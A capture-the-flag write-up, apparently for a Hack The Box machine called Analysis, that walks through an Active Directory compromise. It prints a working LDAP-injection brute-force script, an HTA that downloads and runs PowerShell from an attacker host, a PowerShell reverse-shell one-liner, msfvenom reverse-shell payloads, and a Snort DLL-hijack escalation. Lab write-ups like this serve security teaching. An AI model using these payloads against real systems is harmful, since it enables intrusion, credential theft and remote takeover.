Analysis is a Windows machine running Active Directory. An internal subdomain hosts a webpage vulnerable to LDAP injection, which can be exploited to brute force LDAP attributes, revealing a password in the description field of the technician
user. These credentials grant access to the analysis dashboard, where uploading an HTA file enables command execution and results in a shell. Additional credentials for the jdoe
user can be discovered in a log file on the web server, allowing for a WinRM shell. Further enumeration shows that Snort is running on the system; by uploading a custom DLL to the dynamicpreprocessor
directory, it’s possible to execute code with the privileges of the Snort service—in this case, the administrator
.
nmap
scan:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.250
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-12 15:18 EDT
Nmap scan report for analysis.htb (10.10.11.250)
Host is up (0.053s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
| http-server-header:
| Microsoft-HTTPAPI/2.0
|_ Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-12 18:30:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -47m26s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-12T18:30:57
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.24 seconds
After adding analysis.htb
and DC-ANALYSIS.analysis.htb
to /etc/hosts
, I visited the webpage running on port 80:
There wasn’t much to go off of on the webpage, so I used ffuf
to enumerate subdomains and found the internal
subdomain:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.250 -H "Host: FUZZ.analysis.htb"
<...snip...>
internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 56ms]
:: Progress: [4989/4989] :: Job [1/1] :: 415 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
I added internal.analysis.htb
to /etc/hosts
and visited the page, which resulted in a 403:
Next, I enumerated subdirectories for internal.analysis.htb
:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/FUZZ
<...snip...>
dashboard [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 51ms]
employees [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 67ms]
users [Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 61ms]
:: Progress: [4734/4734] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
Attempting to visit /dashboard
resulted in another 403:
Visiting both /employees
and /users
resulted in a 404:
Since the server was running IIS, the site was potentially using PHP, so I enumerated pages in /dashboard
with the .php
extension:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/dashboard/FUZZ.php
<...snip...>
Index [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 83ms]
details [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 61ms]
emergency [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 73ms]
form [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 88ms]
index [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 63ms]
logout [Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 76ms]
tickets [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 48ms]
upload [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
:: Progress: [4734/4734] :: Job [1/1] :: 403 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
All of the pages were blank due to authentication being required, except for one. Visiting /dashboard/logout.php
redirected to /employees/login.php
:
I didn't have any credentials and SQL injection didn't seem to work on the form, so next I visited /users
which showed a "missing parameter" message:
Fuzzing parameter names using ffuf
revealed the name
parameter:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://internal.analysis.htb/users/list.php?FUZZ=test -fs 17
<...snip...>
name [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 61ms]
:: Progress: [6453/6453] :: Job [1/1] :: 763 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
Visiting /users?name=test
showed a table for listing various user information:
Using the wildcard character (*
) listed one of the users:
The site was most likely pulling user information from LDAP, so I tested for LDAP injection with the following value:
technician)(givenName=technician
As shown above, the username was returned without an error (in this case, "CONTACT_" in the Username field would indicate an error), confirming the page was vulnerable to LDAP injection. Using the following Python script, I was able to brute force the values of LDAP fields:
#!/usr/bin/python3
import requests
import string
import sys
TARGET_HOST = "internal.analysis.htb"
BASE_URL = f"http://{TARGET_HOST}/users/list.php"
HEADERS = {"Host": TARGET_HOST}
ALPHABET = (
string.ascii_letters +
string.digits +
''.join(c for c in string.punctuation if c not in ("(", ")", "#", "&"))
)
def is_valid_character(username: str, attribute: str, test_value: str) -> bool:
payload = f"{username})({attribute}={test_value}*"
params = {"name": payload}
response = requests.get(BASE_URL, headers=HEADERS, params=params)
return "CONTACT_" not in response.text
def brute_force_attribute(username: str, attribute: str) -> str:
value = ""
while True:
for char in ALPHABET:
candidate = value + char
sys.stdout.write(f"\r{attribute}: {candidate}")
sys.stdout.flush()
if is_valid_character(username, attribute, candidate):
value = candidate
break
else:
break
if value.endswith("**"):
break
return value.rstrip("*")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <username> <ldap_field>")
sys.exit(1)
username_input = sys.argv[1]
field_input = sys.argv[2]
final_value = brute_force_attribute(username_input, field_input)
print(f"\n[+] Final {field_input}: {final_value}")
The password for technician
was stored in the user's description
:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ python3 script.py technician description
description: 97NTtl*4QP96Bv**
[+] Final description: 97NTtl*4QP96Bv
I used the credentials to log in to the internal panel:
This provided access to the dashboard:
The tickets page contained submitted tickets by employees regarding various IT related issues:
The details for one of the tickets mentions an issue with HTA files:
The SOC report page allows users to upload files to be analyzed by the SOC:
So based on the fact that an HTA was already mentioned in one of the tickets, I used msfvenom
to generate a malicious HTA to upload to the form:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f hta-psh > test.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7793 bytes
I started a listener with nc
and uploaded test.hta
. A message was shown saying that the file was not safe and I didn't receive a shell on the listener:
To attempt to bypass security restrictions, I wrote an HTA file that uses IEX
to execute a PowerShell script containing a reverse shell one-liner, which is fetched from a local web server:
shell.hta
<script language="VBScript">
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.53:8000/reverse.ps1')", 0
self.close
</script>
reverse.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.53',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
I started a Python web server and a listener with nc
. Then, I uploaded shell.hta
which bypassed security restrictions:
nc
caught a shell as svc_web
:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51555
PS C:\inetpub\internal\dashboard> whoami
analysis\svc_web
After enumerating the web server, I found credentials for the jdoe
user within a log file:
PS C:\inetpub\logs\LogFiles\W3SVC2> ls
R?pertoire?: C:\inetpub\logs\LogFiles\W3SVC2
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/06/2025 21:19 2607209 u_ncsa1.log
PS C:\inetpub\logs\LogFiles\W3SVC2> cat u_ncsa1.log
<...snip...>
127.0.0.1 - - [12/Jun/2025:21:16:25 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
<...snip...>
The creds were valid over WinRM:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
WINRM 10.10.11.250 5985 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM 10.10.11.250 5985 DC-ANALYSIS [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)
evil-winrm
shell as jdoe
:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> whoami
analysis\jdoe
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\jdoe\desktop> ls
Directory: C:\Users\jdoe\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/12/2025 8:29 PM 34 user.txt
Further enumeration revealed that Snort was installed on the machine:
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/12/2023 10:01 AM inetpub
d----- 11/5/2022 8:14 PM PerfLogs
d----- 5/8/2023 10:20 AM PHP
d----- 7/9/2023 10:54 AM private
d-r--- 11/18/2023 9:56 AM Program Files
d----- 5/8/2023 10:11 AM Program Files (x86)
d----- 7/9/2023 10:57 AM Snort
d-r--- 5/26/2023 2:20 PM Users
d----- 1/10/2024 3:52 PM Windows
-a---- 6/12/2025 9:26 PM 294556 snortlog.txt
snortlog.txt
was getting updated every two minutes, which indicated that Snort was actively running:
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
<...snip...>
-a---- 6/12/2025 9:26 PM 294556 snortlog.txt
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
<...snip...>
-a---- 6/12/2025 9:28 PM 294810 snortlog.txt
I confirmed this with get-process
:
*Evil-WinRM* PS C:\> get-process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
<...snip...>
162 18 62664 46644 904 0 snort
<...snip...>
Snort supports dynamic modules, which are loaded as DLLs from a configured dynamicpreprocessor
directory at startup. This can be exploited by placing a malicious DLL—such as one containing a reverse shell payload—into that directory. When Snort starts, it will automatically load and execute the DLL with the privileges of the Snort service, enabling arbitrary code execution.
To identify the location of this directory, I checked snort.conf
:
*Evil-WinRM* PS C:\Snort\etc> ls
Directory: C:\Snort\etc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/20/2022 4:15 PM 3757 classification.config
-a---- 4/20/2022 4:15 PM 23654 file_magic.conf
-a---- 4/20/2022 4:15 PM 33339 gen-msg.map
-a---- 4/20/2022 4:15 PM 687 reference.config
-a---- 7/8/2023 9:34 PM 23094 snort.conf
-a---- 4/20/2022 4:15 PM 2335 threshold.conf
-a---- 4/20/2022 4:15 PM 160606 unicode.map
*Evil-WinRM* PS C:\Snort\etc> findstr dynamicpreprocessor snort.conf
dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor
Regular users have write access to this directory:
*Evil-WinRM* PS C:\Snort\lib> icacls snort_dynamicpreprocessor
snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
I generated a reverse shell DLL using msfvenom
:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll
I then started a listener with nc
and uploaded the DLL:
*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> upload shell.dll
Info: Uploading /home/kali/Desktop/HTB/Analysis/shell.dll to C:\Snort\lib\snort_dynamicpreprocessor\shell.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
After about a minute, nc
caught a shell as administrateur
:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51554
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
analysis\administrateur
C:\Windows\system32>cd \users\administrateur\desktop
cd \users\administrateur\desktop
C:\Users\Administrateur\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0071-E237
Directory of C:\Users\Administrateur\Desktop
01/10/2024 11:41 AM <DIR> .
01/10/2024 11:41 AM <DIR> ..
06/12/2025 08:29 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 4,131,143,680 bytes free